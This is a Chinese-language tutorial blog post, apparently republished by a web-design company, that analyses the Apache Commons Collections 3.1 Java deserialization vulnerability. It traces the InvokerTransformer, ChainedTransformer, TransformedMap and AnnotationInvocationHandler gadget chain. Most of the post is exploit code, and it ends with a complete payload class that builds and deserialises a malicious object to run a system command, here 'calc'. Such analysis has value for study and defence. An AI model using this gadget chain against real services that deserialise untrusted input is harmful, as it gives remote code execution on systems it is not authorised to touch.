這篇文章主要講解了“Java反序列化漏洞舉例分析”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“Java反序列化漏洞舉例分析”吧!
成都創(chuàng)新互聯(lián)公司長期為千余家客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為召陵企業(yè)提供專業(yè)的網(wǎng)站設(shè)計(jì)制作、成都網(wǎng)站建設(shè),召陵網(wǎng)站改版等技術(shù)服務(wù)。擁有十多年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。
Apache Commons Collections是Apache Commons的組件,該漏洞的問題主要出現(xiàn)在org.apache.commons.collections.Transformer接口上。在Apache commons.collections中有一個(gè)InvokerTransformer實(shí)現(xiàn)了Transformer接口,主要作用為調(diào)用Java的反射機(jī)制來調(diào)用任意函數(shù)。
影響組件版本:<=3.1
本地測試,下載commons-collections-3.1.zip,在項(xiàng)目中導(dǎo)入對(duì)應(yīng)的jar包:commons-collections-3.1.jar
例如:
在IntelliJ IDEA中創(chuàng)建一個(gè)普通的Java工程,然后File --> Project Structure --> Libraries --> +添加相應(yīng)的jar包
既然是反序列化漏洞,我們假設(shè)有這樣一條語句:
FileInputStream fileInputStream = new FileInputStream("unserialize.bin"); ObjectInputStream input = new ObjectInputStream(fileInputStream); Object object = input.readObject(); input.close(); fileInputStream.close();
意思是從unserialize.bin二進(jìn)制文件中取出二進(jìn)制數(shù)據(jù),對(duì)其進(jìn)行反序列化。
如果unserialize.bin的文件內(nèi)容可控的話(也就是用戶可以進(jìn)行輸入),那么可能會(huì)存在反序列化漏洞。
(有點(diǎn)類似于PHP的反序列化,利用的前提都是程序中存在可以利用的類或者利用鏈)
如果程序使用了低版本的Apache Commons的組件,那么就可以構(gòu)造相應(yīng)的輸入,達(dá)到RCE的目的。
下面對(duì)commons.collections中利用的類進(jìn)行分析:
在該組件中有一個(gè)Transformer接口:
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
有一個(gè)實(shí)現(xiàn)了該接口的類,InvokerTransformer,可以去看看源碼:
public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } } }
這里仔細(xì)分析一下transform方法,可以發(fā)現(xiàn)這里利用了反射機(jī)制,調(diào)用傳入的對(duì)象的任意方法。
上面的三個(gè)參數(shù)分別表示的意思是:
methodName:方法名
paramTypes: 參數(shù)類型
args:傳入方法的參數(shù)值
一般來說,想要RCE,需要使用到Runtime這個(gè)類,但是Runtime的構(gòu)造函數(shù)是一個(gè)私有方法,所以不能夠直接對(duì)其進(jìn)行實(shí)例化,需要調(diào)用靜態(tài)方法來實(shí)例化,例如:
Runtime.getRuntime.exec("calc");
如果想要直接調(diào)用上面的InvokerTransformer的transform方法進(jìn)行命令執(zhí)行,可以這樣寫:
Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); invokerTransformer.transform(runtime);
個(gè)人理解:以上寫法直接實(shí)例化了一個(gè)Runtime對(duì)象,但是Runtime類并沒有實(shí)現(xiàn)序列化接口(可以去看源碼),也就是說,Runtime實(shí)例對(duì)象不能夠被序列化,因此在構(gòu)建Payload的時(shí)候,盡量在程序中不要出現(xiàn)Runtime實(shí)例化出來的對(duì)象,因此后面引出了兩個(gè)類:
ConstantTransformer類和ChainedTransformer類
先來看看ConstantTransformer類:
public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; }
它的transform方法會(huì)把傳入的參數(shù)直接返回出來;
再來看看ChainedTransformer類:
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
關(guān)鍵部分在這里:
object = this.iTransformers[i].transform(object);
如果iTransformers為上面的InvokerTransformer對(duì)象,我們可以構(gòu)造多個(gè)InvokerTransformer對(duì)象(注意這里的iTransformers是個(gè)數(shù)組),讓這條語句通過反射來創(chuàng)建Runtime的實(shí)例,例如:
Transformer[] transformers = new Transformer[]{ //獲取java.lang.class new ConstantTransformer(Runtime.class), //執(zhí)行Runtime.class.getMethod("getRuntime") new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //執(zhí)行Runtime.class.getMethod("getRuntime").invoke() new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), //執(zhí)行Runtime.class.getMethod("getRuntime").invoke().exec new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("123");
構(gòu)造到這里,可以發(fā)現(xiàn),只要執(zhí)行chainedTransformer.transform()方法就可以RCE。
但是,既然是反序列化漏洞,最好的利用情況是當(dāng)用戶傳入的輸入流被反序列化以后,就能夠直接進(jìn)行攻擊(也就是說當(dāng)程序直接調(diào)用readObject方法時(shí)將觸發(fā)漏洞),因此,后面引出了另外幾個(gè)類:
TransformeMap和AnnotationInvocationHandler類
首先來看看TransformeMap這個(gè)類:
protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
在該類里面有checkSetValue這樣一個(gè)方法,會(huì)調(diào)用valueTransformer.transform
也就是說這里需要構(gòu)造this.valueTransformer為上面的chainedTransformer的值;
通過分析構(gòu)造函數(shù),我們發(fā)現(xiàn)這個(gè)值是可以直接構(gòu)造的:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
(由于TransformedMap是受保護(hù)的構(gòu)造函數(shù),因此這里要利用該類提供的靜態(tài)方法decorate進(jìn)行初始化)
接下來,繼續(xù)跟進(jìn)TransformeMap的父類AbstractInputCheckedMapDecorator,在里面有一個(gè)靜態(tài)的內(nèi)部類:
static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return super.entry.setValue(value); } }
這里的setValue方法調(diào)用了checkSetValue,如果this.parent指向我們前面構(gòu)造的TransformeMap對(duì)象,那么這里就可以觸發(fā)漏洞點(diǎn)。
在前面的基礎(chǔ)上加上這個(gè):也可以命令執(zhí)行
Map innerMap = new HashMap(); innerMap.put("1", "1"); //構(gòu)造TransformedMap對(duì)象,帶入前面構(gòu)造的transformerChain Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //返回Entry這個(gè)內(nèi)部類 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("123123");
下面分析一下 這條語句:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
首先調(diào)用outerMap.entrySet(),也就是TransformedMap的entrySet方法:
public Set entrySet() { return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet()); }
跟進(jìn)一下this.isSetValueChecking:
protected boolean isSetValueChecking() { return this.valueTransformer != null; }
通過之前的構(gòu)造,我們這里會(huì)返回true,也就是說,上面的outerMap.entrySet()會(huì)返回new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this);
跟進(jìn)一下這個(gè)類:(它其實(shí)也是一個(gè)靜態(tài)的內(nèi)部類,和上面我們需要的那個(gè)MapEntry在一個(gè)類里面)
static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent); } }
可以發(fā)現(xiàn),它將我們傳入的transformerChain賦值給了parent;
接下來程序執(zhí)行iterator方法,也就是上面的:
public Iterator iterator() { return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent); }
發(fā)現(xiàn)它返回了另一個(gè)對(duì)象,跟進(jìn)一下這個(gè)對(duì)象:(仍然是一個(gè)靜態(tài)內(nèi)部類)
static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Entry entry = (Entry)super.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); } }
它也將我們前面構(gòu)造的transformerChain賦值給了parent;
最后程序調(diào)用next方法,也就是:
public Object next() { Entry entry = (Entry)super.iterator.next(); return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent); }
發(fā)現(xiàn)它正好返回了我們最終需要構(gòu)造的這個(gè)內(nèi)部類MapEntry,并且將parent正好賦值成我們構(gòu)造的transformerChain值;
最后調(diào)用onlyElement.setValue("123123");觸發(fā)命令執(zhí)行;
分析到這里,還是不夠,因?yàn)槲覀兿胍獦?gòu)造一個(gè)只需要調(diào)用反序列化函數(shù)便可以觸發(fā)漏洞的利用鏈,這里就需要用到AnnotationInvocationHandler這個(gè)類(JDK版本要小于1.7),該類重寫了readObject方法,在該方法里面調(diào)用了map的setValue方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map> memberTypes = annotationType.memberTypes(); for (Map.Entry memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } }
(這個(gè)代碼是網(wǎng)上找的,自己的jdk版本是1.8~~~~)
這里可以發(fā)現(xiàn)memberValues是一個(gè)map對(duì)象,并且是可以由我們直接傳入?yún)?shù)的,它這里用到了這樣一條語句:
for (Map.EntrymemberValue : memberValues.entrySet()){ memberValue.setValue(...) }
其實(shí)跟上面的構(gòu)造是一樣的:
memberValues.entrySet().iterator().next()
到這里,就比較明顯了。我們傳入一個(gè)構(gòu)造好的AnnotationInvocationHandler對(duì)象,目標(biāo)對(duì)其進(jìn)行反序列,便會(huì)造成任意代碼執(zhí)行。
Payload如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "2"); Map transformedmap = TransformedMap.decorate(map, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); cons.setAccessible(true); Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap); //將ins序列化 ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); //取出序列化的數(shù)據(jù)流進(jìn)行反序列化,驗(yàn)證 ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); } }
感謝各位的閱讀,以上就是“Java反序列化漏洞舉例分析”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對(duì)Java反序列化漏洞舉例分析這一問題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!